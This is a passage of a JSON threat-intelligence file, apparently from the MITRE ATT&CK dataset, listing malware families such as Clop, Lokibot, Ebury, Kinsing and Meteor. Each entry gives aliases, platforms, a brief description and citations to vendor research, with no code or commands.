remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Clop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","type":"malware","created":"2021-05-10T23:19:38.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0611","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0611"},{"source_name":"Clop","description":"(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)"},{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."},{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}],"modified":"2021-10-15T00:18:17.636Z","name":"Clop","description":"[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NetTraveler"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","type":"malware","created":"2017-05-31T21:32:25.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0033","external_id":"S0033"},{"source_name":"Kaspersky NetTraveler","description":"Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka ‘Travnet’). Retrieved November 12, 2014.","url":"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"}],"modified":"2020-03-30T17:11:38.961Z","name":"NetTraveler","description":"[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bart Parys"],"x_mitre_aliases":["YAHOYAH"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","type":"malware","created":"2019-06-17T18:49:30.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0388","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0388"},{"description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf","source_name":"TrendMicro TropicTrooper 2015"}],"modified":"2020-05-21T17:23:45.362Z","name":"YAHOYAH","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Lokibot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","type":"malware","created":"2020-05-14T17:31:33.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0447","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0447"},{"source_name":"Lokibot","description":"(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021)"},{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."},{"source_name":"Morphisec Lokibot April 2020","url":"https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode","description":"Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020."},{"source_name":"CISA Lokibot September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-266a","description":"DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T17:43:38.029Z","name":"Lokibot","description":"[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CallMe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","type":"malware","created":"2017-05-31T21:32:52.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0077","external_id":"S0077"},{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. 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Retrieved September 13, 2018."},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).","modified":"2022-04-14T17:21:52.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"CHOPSTICK","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FELIXROOT","GreyEnergy mini"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0267","external_id":"S0267"},{"source_name":"FELIXROOT","description":"(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)"},{"source_name":"GreyEnergy mini","description":"(Citation: ESET GreyEnergy Oct 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. 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(2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","name":"DDKONG","description":"[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Silvio La Porta, @LDO_CyberSec, Leonardo's Cyber Security Division","Antonio Villani, @LDO_CyberSec, Leonardo's Cyber Security Division","Nino Verde, @LDO_CyberSec, Leonardo's Cyber Security Division"],"x_mitre_aliases":["Penquin","Penquin 2.0","Penquin_x64"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","type":"malware","created":"2021-03-11T15:06:57.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0587","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0587"},{"source_name":"Penquin 2.0","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Penquin_x64","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Kaspersky Turla Penquin December 2014","url":"https://securelist.com/the-penquin-turla-2/67962/","description":"Baumgartner, K. and Raiu, C. (2014, December 8). The ‘Penquin’ Turla. Retrieved March 11, 2021."},{"source_name":"Leonardo Turla Penquin May 2020","url":"https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. 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(2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","source_name":"Unit42 BabyShark Feb 2019"},{"description":"Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/","source_name":"Unit42 BabyShark Apr 2019"}],"modified":"2021-03-12T17:26:12.324Z","name":"BabyShark","description":"[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. 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Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2020-03-30T15:17:24.834Z","name":"Cannon","description":"[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["build_downer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","type":"malware","created":"2020-06-10T18:44:10.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0471","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0471"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T17:50:33.499Z","name":"build_downer","description":"[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Melcoz"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","type":"malware","created":"2020-11-10T20:24:50.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0530","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0530"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:20:18.142Z","name":"Melcoz","description":"[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Winnti for Windows"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","created":"2017-05-31T21:33:21.027Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"S0141","url":"https://attack.mitre.org/software/S0141"},{"source_name":"Microsoft Winnti Jan 2017","url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017."},{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."},{"source_name":"401 TRG Winnti Umbrella May 2018","url":"https://401trg.github.io/pages/burning-umbrella.html","description":"Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018."},{"source_name":"Kaspersky Winnti April 2013","url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017."},{"source_name":"Novetta Winnti April 2015","url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)","modified":"2022-04-15T16:38:19.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Winnti for Windows","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PowerPunch"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","created":"2022-02-18T15:50:16.715Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0685","url":"https://attack.mitre.org/software/S0685"},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:11:41.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PowerPunch","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BONDUPDATER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","type":"malware","created":"2019-02-18T20:16:12.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0360","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0360"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"source_name":"Palo Alto OilRig Sep 2018","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019."}],"modified":"2021-02-09T14:06:12.720Z","name":"BONDUPDATER","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BLACKCOFFEE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","type":"malware","created":"2017-05-31T21:32:45.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0069","external_id":"S0069"},{"source_name":"BLACKCOFFEE","description":"(Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)"},{"url":"https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","source_name":"FireEye APT17"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-30T14:58:42.298Z","name":"BLACKCOFFEE","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Marc-Etienne M.Léveillé, ESET"],"x_mitre_aliases":["Ebury"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","type":"malware","created":"2019-04-19T16:40:24.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0377","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0377"},{"source_name":"Ebury","description":"(Citation: ESET Ebury Feb 2014)"},{"source_name":"ESET Ebury Feb 2014","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."},{"source_name":"BleepingComputer Ebury March 2017","url":"https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/","description":"Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019."},{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-04-23T22:56:14.591Z","name":"Ebury","description":"[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Containers","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Kinsing"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d6e55656-e43f-411f-a7af-45df650471c5","type":"malware","created":"2021-04-06T12:22:23.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0599","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0599"},{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."},{"source_name":"Sysdig Kinsing November 2020","url":"https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/","description":"Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021."},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}],"modified":"2021-08-26T16:39:07.873Z","name":"Kinsing","description":"[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Tsubasa Matsuda, NEC Corporation"],"x_mitre_aliases":["Meteor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","created":"2022-03-07T19:08:55.858Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0688","url":"https://attack.mitre.org/software/S0688"},{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-14T15:48:23.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Meteor","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["njRAT","Njw0rm","LV","Bladabindi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","created":"2019-06-04T17:52:28.806Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"S0385","url":"https://attack.mitre.org/software/S0385"},{"source_name":"LV","description":"(Citation: Fidelis njRAT June 2013)"},{"source_name":"Bladabindi","description":"(Citation: Fidelis njRAT June 